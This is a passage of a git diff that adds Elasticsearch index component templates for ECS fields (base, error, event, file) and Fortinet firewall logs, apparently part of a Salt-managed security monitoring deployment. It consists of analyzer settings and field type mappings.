"https://www.elastic.co/guide/en/ecs/current/ecs-ecs.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "ecs": { + "properties": { + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/elasticsearch.json b/salt/elasticsearch/templates/component/ecs/elasticsearch.json new file mode 100644 index 000000000..a56e6090a --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/elasticsearch.json @@ -0,0 +1,71 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "@timestamp": { + "type": "date" + }, + "labels": { + "type": "object" + }, + "message": { + "type": "match_only_text" + }, + "tags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/error.json b/salt/elasticsearch/templates/component/ecs/error.json new file mode 100644 index 000000000..12a3c8587 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/error.json @@ -0,0 +1,101 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-error.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "error": { + "properties": { + "code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "message": { + "type": "match_only_text" + }, + "stack_trace": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + }, + "text": { + "type": "match_only_text" + } + }, + "type": "wildcard" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/event.json b/salt/elasticsearch/templates/component/ecs/event.json new file mode 100644 index 000000000..b6932c390 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/event.json @@ -0,0 +1,254 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-event.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "event": { + "properties": { + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agent_id_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "code": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "created": { + "type": "date" + }, + "dataset": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "duration": { + "type": "long" + }, + "end": { + "type": "date" + }, + "hash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ingested": { + "type": "date" + }, + "kind": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "module": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "original": { + "doc_values": false, + "index": false, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "outcome": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "provider": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "reference": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "risk_score": { + "type": "float" + }, + "risk_score_norm": { + "type": "float" + }, + "sequence": { + "type": "long" + }, + "severity": { + "type": "long" + }, + "start": { + "type": "date" + }, + "timezone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "url": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/file.json b/salt/elasticsearch/templates/component/ecs/file.json new file mode 100644 index 000000000..a328d8a08 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/file.json @@ -0,0 +1,886 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-file.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "file": { + "properties": { + "accessed": { + "type": "date" + }, + "attributes": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "code_signature": { + "properties": { + "digest_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "exists": { + "type": "boolean" + }, + "signing_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "team_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "timestamp": { + "type": "date" + }, + "trusted": { + "type": "boolean" + }, + "valid": { + "type": "boolean" + } + } + }, + "created": { + "type": "date" + }, + "ctime": { + "type": "date" + }, + "device": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "directory": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "drive_letter": { + "ignore_above": 1, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "elf": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "byte_order": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cpu_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "creation_date": { + "type": "date" + }, + "exports": { + "type": "flattened" + }, + "header": { + "properties": { + "abi_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "class": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "data": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "entrypoint": { + "type": "long" + }, + "object_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "os_abi": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "imports": { + "type": "flattened" + }, + "sections": { + "properties": { + "chi2": { + "type": "long" + }, + "entropy": { + "type": "long" + }, + "flags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "physical_offset": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "physical_size": { + "type": "long" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "virtual_address": { + "type": "long" + }, + "virtual_size": { + "type": "long" + } + }, + "type": "nested" + }, + "segments": { + "properties": { + "sections": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + }, + "type": "nested" + }, + "shared_libraries": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "telfhash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "extension": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "fork_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "gid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "group": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "hash": { + "properties": { + "md5": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha1": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha256": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sha512": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ssdeep": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "inode": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mime_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mode": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "mtime": { + "type": "date" + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "owner": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "path": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "pe": { + "properties": { + "architecture": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "company": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "file_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "imphash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "original_file_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "size": { + "type": "long" + }, + "target_path": { + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + }, + "ignore_above": 1024, + "type": "keyword" + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "uid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "x509": { + "properties": { + "alternative_names": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "issuer": { + "properties": { + "common_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "distinguished_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "locality": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organizational_unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state_or_province": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "not_after": { + "type": "date" + }, + "not_before": { + "type": "date" + }, + "public_key_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "public_key_curve": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "public_key_exponent": { + "doc_values": false, + "index": false, + "type": "long" + }, + "public_key_size": { + "type": "long" + }, + "serial_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "signature_algorithm": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "subject": { + "properties": { + "common_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "country": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "distinguished_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "locality": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organization": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "organizational_unit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "state_or_province": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "version_number": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/fortinet.json b/salt/elasticsearch/templates/component/ecs/fortinet.json new file mode 100644 index 000000000..6762102c0 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/fortinet.json @@ -0,0 +1,3485 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "fortinet": { + "properties": { + "file": { + "properties": { + "hash": { + "properties": { + "crc32": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "firewall": { + "properties": { + "acct_stat": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "acktime": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "act": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "activity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "addr": { + "type": "ip" + }, + "addr_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "addrgrp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "adgroup": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "admin": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "age": { + "type": "long" + }, + "agent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "alarmid": { + "type": "long" + }, + "alert": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "analyticscksum": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "analyticssubmit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ap": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app-type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "appact": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "appid": { + "type": "long" + }, + "applist": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "apprisk": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "apscan": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "apsn": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "apstatus": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "aptype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "assigned": { + "type": "ip" + }, + "assignip": { + "type": "ip" + }, + "attachment": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attack": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attackcontext": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attackcontextid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "attackid": { + "type": "long" + }, + "auditid": { + "type": "long" + }, + "auditscore": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "audittime": { + "type": "long" + }, + "authgrp": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authproto": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authserver": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "bandwidth": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "banned_rule": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "banned_src": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "banword": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "botnetdomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "botnetip": { + "type": "ip" + }, + "bssid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "call_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "carrier_ep": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cat": { + "type": "long" + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cc": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cdrcontent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "centralnatid": { + "type": "long" + }, + "cert": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cert-type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "certhash": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cfgattr": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cfgobj": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cfgpath": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cfgtid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cfgtxpower": { + "type": "long" + }, + "channel": { + "type": "long" + }, + "channeltype": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "chassisid": { + "type": "long" + }, + "checksum": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "chgheaders": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cldobjid": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "client_addr": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cloudaction": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "clouduser": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "column": { + "type": "long" + }, + "command": { + "ignore_above": 1024, + "type": "keyword", + 